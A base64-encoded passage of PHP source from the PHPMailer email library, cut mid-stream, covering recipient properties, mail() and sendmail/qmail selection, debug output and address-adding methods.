B2YWxpZGF0b3JzLgogICAgICogQHNlZSBQSFBNYWlsZXI6OnZhbGlkYXRlQWRkcmVzcygpCiAgICAgKiBAdmFyIHN0cmluZ3xjYWxsYWJsZQogICAgICogQHN0YXRpYwogICAgICovCiAgICBwdWJsaWMgc3RhdGljICR2YWxpZGF0b3IgPSAnYXV0byc7CgogICAgLyoqCiAgICAgKiBBbiBpbnN0YW5jZSBvZiB0aGUgU01UUCBzZW5kZXIgY2xhc3MuCiAgICAgKiBAdmFyIFNNVFAKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkc210cCA9IG51bGw7CgogICAgLyoqCiAgICAgKiBUaGUgYXJyYXkgb2YgJ3RvJyBuYW1lcyBhbmQgYWRkcmVzc2VzLgogICAgICogQHZhciBhcnJheQogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICR0byA9IGFycmF5KCk7CgogICAgLyoqCiAgICAgKiBUaGUgYXJyYXkgb2YgJ2NjJyBuYW1lcyBhbmQgYWRkcmVzc2VzLgogICAgICogQHZhciBhcnJheQogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICRjYyA9IGFycmF5KCk7CgogICAgLyoqCiAgICAgKiBUaGUgYXJyYXkgb2YgJ2JjYycgbmFtZXMgYW5kIGFkZHJlc3Nlcy4KICAgICAqIEB2YXIgYXJyYXkKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkYmNjID0gYXJyYXkoKTsKCiAgICAvKioKICAgICAqIFRoZSBhcnJheSBvZiByZXBseS10byBuYW1lcyBhbmQgYWRkcmVzc2VzLgogICAgICogQHZhciBhcnJheQogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICRSZXBseVRvID0gYXJyYXkoKTsKCiAgICAvKioKICAgICAqIEFuIGFycmF5IG9mIGFsbCBraW5kcyBvZiBhZGRyZXNzZXMuCiAgICAgKiBJbmNsdWRlcyBhbGwgb2YgJHRvLCAkY2MsICRiY2MKICAgICAqIEB2YXIgYXJyYXkKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JHRvIEBzZWUgUEhQTWFpbGVyOjokY2MgQHNlZSBQSFBNYWlsZXI6OiRiY2MKICAgICAqLwogICAgcHJvdGVjdGVkICRhbGxfcmVjaXBpZW50cyA9IGFycmF5KCk7CgogICAgLyoqCiAgICAgKiBBbiBhcnJheSBvZiBuYW1lcyBhbmQgYWRkcmVzc2VzIHF1ZXVlZCBmb3IgdmFsaWRhdGlvbi4KICAgICAqIEluIHNlbmQoKSwgdmFsaWQgYW5kIG5vbiBkdXBsaWNhdGUgZW50cmllcyBhcmUgbW92ZWQgdG8gJGFsbF9yZWNpcGllbnRzCiAgICAgKiBhbmQgb25lIG9mICR0bywgJGNjLCBvciAkYmNjLgogICAgICogVGhpcyBhcnJheSBpcyB1c2VkIG9ubHkgZm9yIGFkZHJlc3NlcyB3aXRoIElETi4KICAgICAqIEB2YXIgYXJyYXkKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JHRvIEBzZWUgUEhQTWFpbGVyOjokY2MgQHNlZSBQSFBNYWlsZXI6OiRiY2MKICAgICAqIEBzZWUgUEhQTWFpbGVyOjokYWxsX3JlY2lwaWVudHMKICAgICAqLwogICAgcHJvdGVjdGVkICRSZWNpcGllbnRzUXVldWUgPSBhcnJheSgpOwoKICAgIC8qKgogICAgICogQW4gYXJyYXkgb2YgcmVwbHktdG8gbmFtZXMgYW5kIGFkZHJlc3NlcyBxdWV1ZWQgZm9yIHZhbGlkYXRpb24uCiAgICAgKiBJbiBzZW5kKCksIHZhbGlkIGFuZCBub24gZHVwbGljYXRlIGVudHJpZXMgYXJlIG1vdmVkIHRvICRSZXBseVRvLgogICAgICogVGhpcyBhcnJheSBpcyB1c2VkIG9ubHkgZm9yIGFkZHJlc3NlcyB3aXRoIElETi4KICAgICAqIEB2YXIgYXJyYXkKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JFJlcGx5VG8KICAgICAqLwogICAgcHJvdGVjdGVkICRSZXBseVRvUXVldWUgPSBhcnJheSgpOwoKICAgIC8qKgogICAgICogVGhlIGFycmF5IG9mIGF0dGFjaG1lbnRzLgogICAgICogQHZhciBhcnJheQogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICRhdHRhY2htZW50ID0gYXJyYXkoKTsKCiAgICAvKioKICAgICAqIFRoZSBhcnJheSBvZiBjdXN0b20gaGVhZGVycy4KICAgICAqIEB2YXIgYXJyYXkKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkQ3VzdG9tSGVhZGVyID0gYXJyYXkoKTsKCiAgICAvKioKICAgICAqIFRoZSBtb3N0IHJlY2VudCBNZXNzYWdlLUlEIChpbmNsdWRpbmcgYW5ndWxhciBicmFja2V0cykuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICRsYXN0TWVzc2FnZUlEID0gJyc7CgogICAgLyoqCiAgICAgKiBUaGUgbWVzc2FnZSdzIE1JTUUgdHlwZS4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgJG1lc3NhZ2VfdHlwZSA9ICcnOwoKICAgIC8qKgogICAgICogVGhlIGFycmF5IG9mIE1JTUUgYm91bmRhcnkgc3RyaW5ncy4KICAgICAqIEB2YXIgYXJyYXkKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkYm91bmRhcnkgPSBhcnJheSgpOwoKICAgIC8qKgogICAgICogVGhlIGFycmF5IG9mIGF2YWlsYWJsZSBsYW5ndWFnZXMuCiAgICAgKiBAdmFyIGFycmF5CiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgJGxhbmd1YWdlID0gYXJyYXkoKTsKCiAgICAvKioKICAgICAqIFRoZSBudW1iZXIgb2YgZXJyb3JzIGVuY291bnRlcmVkLgogICAgICogQHZhciBpbnRlZ2VyCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgJGVycm9yX2NvdW50ID0gMDsKCiAgICAvKioKICAgICAqIFRoZSBTL01JTUUgY2VydGlmaWNhdGUgZmlsZSBwYXRoLgogICAgICogQHZhciBzdHJpbmcKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkc2lnbl9jZXJ0X2ZpbGUgPSAnJzsKCiAgICAvKioKICAgICAqIFRoZSBTL01JTUUga2V5IGZpbGUgcGF0aC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgJHNpZ25fa2V5X2ZpbGUgPSAnJzsKCiAgICAvKioKICAgICAqIFRoZSBvcHRpb25hbCBTL01JTUUgZXh0cmEgY2VydGlmaWNhdGVzICgiQ0EgQ2hhaW4iKSBmaWxlIHBhdGguCiAgICAgKiBAdmFyIHN0cmluZwogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICRzaWduX2V4dHJhY2VydHNfZmlsZSA9ICcnOwoKICAgIC8qKgogICAgICogVGhlIFMvTUlNRSBwYXNzd29yZCBmb3IgdGhlIGtleS4KICAgICAqIFVzZWQgb25seSBpZiB0aGUga2V5IGlzIGVuY3J5cHRlZC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgJHNpZ25fa2V5X3Bhc3MgPSAnJzsKCiAgICAvKioKICAgICAqIFdoZXRoZXIgdG8gdGhyb3cgZXhjZXB0aW9ucyBmb3IgZXJyb3JzLgogICAgICogQHZhciBib29sZWFuCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgJGV4Y2VwdGlvbnMgPSBmYWxzZTsKCiAgICAvKioKICAgICAqIFVuaXF1ZSBJRCB1c2VkIGZvciBtZXNzYWdlIElEIGFuZCBib3VuZGFyaWVzLgogICAgICogQHZhciBzdHJpbmcKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkdW5pcXVlaWQgPSAnJzsKCiAgICAvKioKICAgICAqIEVycm9yIHNldmVyaXR5OiBtZXNzYWdlIG9ubHksIGNvbnRpbnVlIHByb2Nlc3NpbmcuCiAgICAgKi8KICAgIGNvbnN0IFNUT1BfTUVTU0FHRSA9IDA7CgogICAgLyoqCiAgICAgKiBFcnJvciBzZXZlcml0eTogbWVzc2FnZSwgbGlrZWx5IG9rIHRvIGNvbnRpbnVlIHByb2Nlc3NpbmcuCiAgICAgKi8KICAgIGNvbnN0IFNUT1BfQ09OVElOVUUgPSAxOwoKICAgIC8qKgogICAgICogRXJyb3Igc2V2ZXJpdHk6IG1lc3NhZ2UsIHBsdXMgZnVsbCBzdG9wLCBjcml0aWNhbCBlcnJvciByZWFjaGVkLgogICAgICovCiAgICBjb25zdCBTVE9QX0NSSVRJQ0FMID0gMjsKCiAgICAvKioKICAgICAqIFNNVFAgUkZDIHN0YW5kYXJkIGxpbmUgZW5kaW5nLgogICAgICovCiAgICBjb25zdCBDUkxGID0gIlxyXG4iOwoKICAgIC8qKgogICAgICogVGhlIG1heGltdW0gbGluZSBsZW5ndGggYWxsb3dlZCBieSBSRkMgMjgyMiBzZWN0aW9uIDIuMS4xCiAgICAgKiBAdmFyIGludGVnZXIKICAgICAqLwogICAgY29uc3QgTUFYX0xJTkVfTEVOR1RIID0gOTk4OwoKICAgIC8qKgogICAgICogQ29uc3RydWN0b3IuCiAgICAgKiBAcGFyYW0gYm9vbGVhbiAkZXhjZXB0aW9ucyBTaG91bGQgd2UgdGhyb3cgZXh0ZXJuYWwgZXhjZXB0aW9ucz8KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCRleGNlcHRpb25zID0gbnVsbCkKICAgIHsKICAgICAgICBpZiAoJGV4Y2VwdGlvbnMgIT09IG51bGwpIHsKICAgICAgICAgICAgJHRoaXMtPmV4Y2VwdGlvbnMgPSAoYm9vbGVhbikkZXhjZXB0aW9uczsKICAgICAgICB9CiAgICAgICAgLy9QaWNrIGFuIGFwcHJvcHJpYXRlIGRlYnVnIG91dHB1dCBmb3JtYXQgYXV0b21hdGljYWxseQogICAgICAgICR0aGlzLT5EZWJ1Z291dHB1dCA9IChzdHJwb3MoUEhQX1NBUEksICdjbGknKSAhPT0gZmFsc2UgPyAnZWNobycgOiAnaHRtbCcpOwogICAgfQoKICAgIC8qKgogICAgICogRGVzdHJ1Y3Rvci4KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIF9fZGVzdHJ1Y3QoKQogICAgewogICAgICAgIC8vQ2xvc2UgYW55IG9wZW4gU01UUCBjb25uZWN0aW9uIG5pY2VseQogICAgICAgICR0aGlzLT5zbXRwQ2xvc2UoKTsKICAgIH0KCiAgICAvKioKICAgICAqIENhbGwgbWFpbCgpIGluIGEgc2FmZV9tb2RlLWF3YXJlIGZhc2hpb24uCiAgICAgKiBBbHNvLCB1bmxlc3Mgc2VuZG1haWxfcGF0aCBwb2ludHMgdG8gc2VuZG1haWwgKG9yIHNvbWV0aGluZyB0aGF0CiAgICAgKiBjbGFpbXMgdG8gYmUgc2VuZG1haWwpLCBkb24ndCBwYXNzIHBhcmFtcyAobm90IGEgcGVyZmVjdCBmaXgsCiAgICAgKiBidXQgaXQgd2lsbCBkbykKICAgICAqIEBwYXJhbSBzdHJpbmcgJHRvIFRvCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdWJqZWN0IFN1YmplY3QKICAgICAqIEBwYXJhbSBzdHJpbmcgJGJvZHkgTWVzc2FnZSBCb2R5CiAgICAgKiBAcGFyYW0gc3RyaW5nICRoZWFkZXIgQWRkaXRpb25hbCBIZWFkZXIocykKICAgICAqIEBwYXJhbSBzdHJpbmcgJHBhcmFtcyBQYXJhbXMKICAgICAqIEBhY2Nlc3MgcHJpdmF0ZQogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHByaXZhdGUgZnVuY3Rpb24gbWFpbFBhc3N0aHJ1KCR0bywgJHN1YmplY3QsICRib2R5LCAkaGVhZGVyLCAkcGFyYW1zKQogICAgewogICAgICAgIC8vQ2hlY2sgb3ZlcmxvYWRpbmcgb2YgbWFpbCBmdW5jdGlvbiB0byBhdm9pZCBkb3VibGUtZW5jb2RpbmcKICAgICAgICBpZiAoaW5pX2dldCgnbWJzdHJpbmcuZnVuY19vdmVybG9hZCcpICYgMSkgewogICAgICAgICAgICAkc3ViamVjdCA9ICR0aGlzLT5zZWN1cmVIZWFkZXIoJHN1YmplY3QpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRzdWJqZWN0ID0gJHRoaXMtPmVuY29kZUhlYWRlcigkdGhpcy0+c2VjdXJlSGVhZGVyKCRzdWJqZWN0KSk7CiAgICAgICAgfQoKICAgICAgICAvL0Nhbid0IHVzZSBhZGRpdGlvbmFsX3BhcmFtZXRlcnMgaW4gc2FmZV9tb2RlLCBjYWxsaW5nIG1haWwoKSB3aXRoIG51bGwgcGFyYW1zIGJyZWFrcwogICAgICAgIC8vQGxpbmsgaHR0cDovL3BocC5uZXQvbWFudWFsL2VuL2Z1bmN0aW9uLm1haWwucGhwCiAgICAgICAgaWYgKGluaV9nZXQoJ3NhZmVfbW9kZScpIG9yICEkdGhpcy0+VXNlU2VuZG1haWxPcHRpb25zIG9yIGlzX251bGwoJHBhcmFtcykpIHsKICAgICAgICAgICAgJHJlc3VsdCA9IEBtYWlsKCR0bywgJHN1YmplY3QsICRib2R5LCAkaGVhZGVyKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkcmVzdWx0ID0gQG1haWwoJHRvLCAkc3ViamVjdCwgJGJvZHksICRoZWFkZXIsICRwYXJhbXMpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJHJlc3VsdDsKICAgIH0KICAgIC8qKgogICAgICogT3V0cHV0IGRlYnVnZ2luZyBpbmZvIHZpYSB1c2VyLWRlZmluZWQgbWV0aG9kLgogICAgICogT25seSBnZW5lcmF0ZXMgb3V0cHV0IGlmIFNNVFAgZGVidWcgb3V0cHV0IGlzIGVuYWJsZWQgKEBzZWUgU01UUDo6JGRvX2RlYnVnKS4KICAgICAqIEBzZWUgUEhQTWFpbGVyOjokRGVidWdvdXRwdXQKICAgICAqIEBzZWUgUEhQTWFpbGVyOjokU01UUERlYnVnCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHIKICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGVkZWJ1Zygkc3RyKQogICAgewogICAgICAgIGlmICgkdGhpcy0+U01UUERlYnVnIDw9IDApIHsKICAgICAgICAgICAgcmV0dXJuOwogICAgICAgIH0KICAgICAgICAvL0F2b2lkIGNsYXNoIHdpdGggYnVpbHQtaW4gZnVuY3Rpb24gbmFtZXMKICAgICAgICBpZiAoIWluX2FycmF5KCR0aGlzLT5EZWJ1Z291dHB1dCwgYXJyYXkoJ2Vycm9yX2xvZycsICdodG1sJywgJ2VjaG8nKSkgYW5kIGlzX2NhbGxhYmxlKCR0aGlzLT5EZWJ1Z291dHB1dCkpIHsKICAgICAgICAgICAgY2FsbF91c2VyX2Z1bmMoJHRoaXMtPkRlYnVnb3V0cHV0LCAkc3RyLCAkdGhpcy0+U01UUERlYnVnKTsKICAgICAgICAgICAgcmV0dXJuOwogICAgICAgIH0KICAgICAgICBzd2l0Y2ggKCR0aGlzLT5EZWJ1Z291dHB1dCkgewogICAgICAgICAgICBjYXNlICdlcnJvcl9sb2cnOgogICAgICAgICAgICAgICAgLy9Eb24ndCBvdXRwdXQsIGp1c3QgbG9nCiAgICAgICAgICAgICAgICBlcnJvcl9sb2coJHN0cik7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnaHRtbCc6CiAgICAgICAgICAgICAgICAvL0NsZWFucyB1cCBvdXRwdXQgYSBiaXQgZm9yIGEgYmV0dGVyIGxvb2tpbmcsIEhUTUwtc2FmZSBvdXRwdXQKICAgICAgICAgICAgICAgIGVjaG8gaHRtbGVudGl0aWVzKAogICAgICAgICAgICAgICAgICAgIHByZWdfcmVwbGFjZSgnL1tcclxuXSsvJywgJycsICRzdHIpLAogICAgICAgICAgICAgICAgICAgIEVOVF9RVU9URVMsCiAgICAgICAgICAgICAgICAgICAgJ1VURi04JwogICAgICAgICAgICAgICAgKQogICAgICAgICAgICAgICAgLiAiPGJyPlxuIjsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdlY2hvJzoKICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgIC8vTm9ybWFsaXplIGxpbmUgYnJlYWtzCiAgICAgICAgICAgICAgICAkc3RyID0gcHJlZ19yZXBsYWNlKCcvXHJcbj8vbXMnLCAiXG4iLCAkc3RyKTsKICAgICAgICAgICAgICAgIGVjaG8gZ21kYXRlKCdZLW0tZCBIOmk6cycpIC4gIlx0IiAuIHN0cl9yZXBsYWNlKAogICAgICAgICAgICAgICAgICAgICJcbiIsCiAgICAgICAgICAgICAgICAgICAgIlxuICAgICAgICAgICAgICAgICAgIFx0ICAgICAgICAgICAgICAgICAgIiwKICAgICAgICAgICAgICAgICAgICB0cmltKCRzdHIpCiAgICAgICAgICAgICAgICApIC4gIlxuIjsKICAgICAgICB9CiAgICB9CgogICAgLyoqCiAgICAgKiBTZW5kIG1lc3NhZ2VzIHVzaW5nIFNNVFAuCiAgICAgKiBAcmV0dXJuIHZvaWQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGlzU01UUCgpCiAgICB7CiAgICAgICAgJHRoaXMtPk1haWxlciA9ICdzbXRwJzsKICAgIH0KCiAgICAvKioKICAgICAqIFNlbmQgbWVzc2FnZXMgdXNpbmcgUEhQJ3MgbWFpbCgpIGZ1bmN0aW9uLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBpc01haWwoKQogICAgewogICAgICAgICR0aGlzLT5NYWlsZXIgPSAnbWFpbCc7CiAgICB9CgogICAgLyoqCiAgICAgKiBTZW5kIG1lc3NhZ2VzIHVzaW5nICRTZW5kbWFpbC4KICAgICAqIEByZXR1cm4gdm9pZAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gaXNTZW5kbWFpbCgpCiAgICB7CiAgICAgICAgJGluaV9zZW5kbWFpbF9wYXRoID0gaW5pX2dldCgnc2VuZG1haWxfcGF0aCcpOwoKICAgICAgICBpZiAoIXN0cmlzdHIoJGluaV9zZW5kbWFpbF9wYXRoLCAnc2VuZG1haWwnKSkgewogICAgICAgICAgICAkdGhpcy0+U2VuZG1haWwgPSAnL3Vzci9zYmluL3NlbmRtYWlsJzsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkdGhpcy0+U2VuZG1haWwgPSAkaW5pX3NlbmRtYWlsX3BhdGg7CiAgICAgICAgfQogICAgICAgICR0aGlzLT5NYWlsZXIgPSAnc2VuZG1haWwnOwogICAgfQoKICAgIC8qKgogICAgICogU2VuZCBtZXNzYWdlcyB1c2luZyBxbWFpbC4KICAgICAqIEByZXR1cm4gdm9pZAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gaXNRbWFpbCgpCiAgICB7CiAgICAgICAgJGluaV9zZW5kbWFpbF9wYXRoID0gaW5pX2dldCgnc2VuZG1haWxfcGF0aCcpOwoKICAgICAgICBpZiAoIXN0cmlzdHIoJGluaV9zZW5kbWFpbF9wYXRoLCAncW1haWwnKSkgewogICAgICAgICAgICAkdGhpcy0+U2VuZG1haWwgPSAnL3Zhci9xbWFpbC9iaW4vcW1haWwtaW5qZWN0JzsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkdGhpcy0+U2VuZG1haWwgPSAkaW5pX3NlbmRtYWlsX3BhdGg7CiAgICAgICAgfQogICAgICAgICR0aGlzLT5NYWlsZXIgPSAncW1haWwnOwogICAgfQoKICAgIC8qKgogICAgICogQWRkIGEgIlRvIiBhZGRyZXNzLgogICAgICogQHBhcmFtIHN0cmluZyAkYWRkcmVzcyBUaGUgZW1haWwgYWRkcmVzcyB0byBzZW5kIHRvCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4gdHJ1ZSBvbiBzdWNjZXNzLCBmYWxzZSBpZiBhZGRyZXNzIGFscmVhZHkgdXNlZCBvciBpbnZhbGlkIGluIHNvbWUgd2F5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhZGRBZGRyZXNzKCRhZGRyZXNzLCAkbmFtZSA9ICcnKQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+YWRkT3JFbnF1ZXVlQW5BZGRyZXNzKCd0bycsICRhZGRyZXNzLCAkbmFtZSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgYSAiQ0MiIGFkZHJlc3MuCiAgICAgKiBAbm90ZTogVGhpcyBmdW5jdGlvbiB3b3JrcyB3aXRoIHRoZSBTTVRQIG1haWxlciBvbiB3aW4zMiwgbm90IHdpdGggdGhlICJtYWlsIiBtYWlsZXIuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRhZGRyZXNzIFRoZSBlbWFpbCBhZGRyZXNzIHRvIHNlbmQgdG8KICAgICAqIEBwYXJhbSBzdHJpbmcgJG5hbWUKICAgICAqIEByZXR1cm4gYm9vbGVhbiB0cnVlIG9uIHN1Y2Nlc3MsIGZhbHNlIGlmIGFkZHJlc3MgYWxyZWFkeSB1c2VkIG9yIGludmFsaWQgaW4gc29tZSB3YXkKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGFkZENDKCRhZGRyZXNzLCAkbmFtZSA9ICcnKQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+YWRkT3JFbnF1ZXVlQW5BZGRyZXNzKCdjYycsICRhZGRyZXNzLCAkbmFtZSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgYSAiQkNDIiBhZGRyZXNzLgogICAgICogQG5vdGU6IFRoaXMgZnVuY3Rpb24gd29ya3Mgd2l0aCB0aGUgU01UUCBtYWlsZXIgb24gd2luMzIsIG5vdCB3aXRoIHRoZSAibWFpbCIgbWFpbGVyLgogICAgICogQHBhcmFtIHN0cmluZyAkYWRkcmVzcyBUaGUgZW1haWwgYWRkcmVzcyB0byBzZW5kIHRvCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4gdHJ1ZSBvbiBzdWNjZXNzLCBmYWxzZSBpZiBhZGRyZXNzIGFscmVhZHkgdXNlZCBvciBpbnZhbGlkIGluIHNvbWUgd2F5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhZGRCQ0MoJGFkZHJlc3MsICRuYW1lID0gJycpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5hZGRPckVucXVldWVBbkFkZHJlc3MoJ2JjYycsICRhZGRyZXNzLCAkbmFtZSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgYSAiUmVwbHktVG8iIGFkZHJlc3MuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRhZGRyZXNzIFRoZSBlbWFpbCBhZGRyZXNzIHRvIHJlcGx5IHRvCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4gdHJ1ZSBvbiBzdWNjZXNzLCBmYWxzZSBpZiBhZGRyZXNzIGFscmVhZHkgdXNlZCBvciBpbnZhbGlkIGluIHNvbWUgd2F5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhZGRSZXBseVRvKCRhZGRyZXNzLCAkbmFtZSA9ICcnKQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+YWRkT3JFbnF1ZXVlQW5BZGRyZXNzKCdSZXBseS1UbycsICRhZGRyZXNzLCAkbmFtZSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgYW4gYWRkcmVzcyB0byBvbmUgb2YgdGhlIHJlY2lwaWVudCBhcnJheXMgb3IgdG8gdGhlIFJlcGx5VG8gYXJyYXkuIEJlY2F1c2UgUEhQTWFpbGVyCiAgICAgKiBjYW4ndCB2YWxpZGF0ZSBhZGRyZXNzZXMgd2l0aCBhbiBJRE4gd2l0aG91dCBrbm93aW5nIHRoZSBQSFBNYWlsZXI6OiRDaGFyU2V0ICh0aGF0IGNhbiBzdGlsbAogICAgICogYmUgbW9kaWZpZWQgYWZ0ZXIgY2FsbGluZyB0aGlzIGZ1bmN0aW9uKSwgYWRkaXRpb24gb2Ygc3VjaCBhZGRyZXNzZXMgaXMgZGVsYXllZCB1bnRpbCBzZW5kKCkuCiAgICAgKiBBZGRyZXNzZXMgdGhhdCBoYXZlIGJlZW4gYWRkZWQgYWxyZWFkeSByZXR1cm4gZmFsc2UsIGJ1dCBkbyBub3QgdGhyb3cgZXhjZXB0aW9ucy4KICAgICAqIEBwYXJhbSBzdHJpbmcgJGtpbmQgT25lIG9mICd0bycsICdjYycsICdiY2MnLCBvciAnUmVwbHlUbycKICAgICAqIEBwYXJhbSBzdHJpbmcgJGFkZHJlc3MgVGhlIGVtYWlsIGFkZHJlc3MgdG8gc2VuZCwgcmVzcC4gdG8gcmVwbHkgdG8KICAgICAqIEBwYXJhbSBzdHJpbmcgJG5hbWUKICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4gdHJ1ZSBvbiBzdWNjZXNzLCBmYWxzZSBpZiBhZGRyZXNzIGFscmVhZHkgdXNlZCBvciBpbnZhbGlkIGluIHNvbWUgd2F5CiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gYWRkT3JFbnF1ZXVlQW5BZGRyZXNzKCRraW5kLCAkYWRkcmVzcywgJG5hbWUpCiAgICB7CiAgICAgICAgJGFkZHJlc3MgPSB0cmltKCRhZGRyZXNzKTsKICAgICAgICAkbmFtZSA9IHRyaW0ocHJlZ19yZXBsYWNlKCcvW1xyXG5dKy8nLCAnJywgJG5hbWUpKTsgLy9TdHJpcCBicmVha3MgYW5kIHRyaW0KICAgICAgICBpZiAoKCRwb3MgPSBzdHJycG9zKCRhZGRyZXNzLCAnQCcpKSA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgLy8gQXQtc2lnbiBpcyBtaXNzc2luZy4KICAgICAgICAgICAgJGVycm9yX21lc3NhZ2UgPSAkdGhpcy0+bGFuZygnaW52YWxpZF9hZGRyZXNzJykgLiAiIChhZGRBbkFkZHJlc3MgJGtpbmQpOiAkYWRkcmVzcyI7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkZXJyb3JfbWVzc2FnZSk7CiAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgJHBhcmFtcyA9IGFycmF5KCRraW5kLCAkYWRkcmVzcywgJG5hbWUpOwogICAgICAgIC8vIEVucXVldWUgYWRkcmVzc2VzIHdpdGggSUROIHVudGlsIHdlIGtub3cgdGhlIFBIUE1haWxlcjo6JENoYXJTZXQuCiAgICAgICAgaWYgKCR0aGlzLT5oYXM4Yml0Q2hhcnMoc3Vic3RyKCRhZGRyZXNzLCArKyRwb3MpKSBhbmQgJHRoaXMtPmlkblN1cHBvcnRlZCgpKSB7CiAgICAgICAgICAgIGlmICgka2luZCAhPSAnUmVwbHktVG8nKSB7CiAgICAgICAgICAgICAgICBpZiAoIWFycmF5X2tleV9leGlzdHMoJGFkZHJlc3MsICR0aGlzLT5SZWNpcGllbnRzUXVldWUpKSB7CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPlJlY2lwaWVudHNRdWV1ZVskYWRkcmVzc10gPSAkcGFyYW1zOwogICAgICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgaWYgKCFhcnJheV9rZXlfZXhpc3RzKCRhZGRyZXNzLCAkdGhpcy0+UmVwbHlUb1F1ZXVlKSkgewogICAgICAgICAgICAgICAgICAgICR0aGlzLT5SZXBseVRvUXVldWVbJGFkZHJlc3NdID0gJHBhcmFtczsKICAgICAgICAgICAgI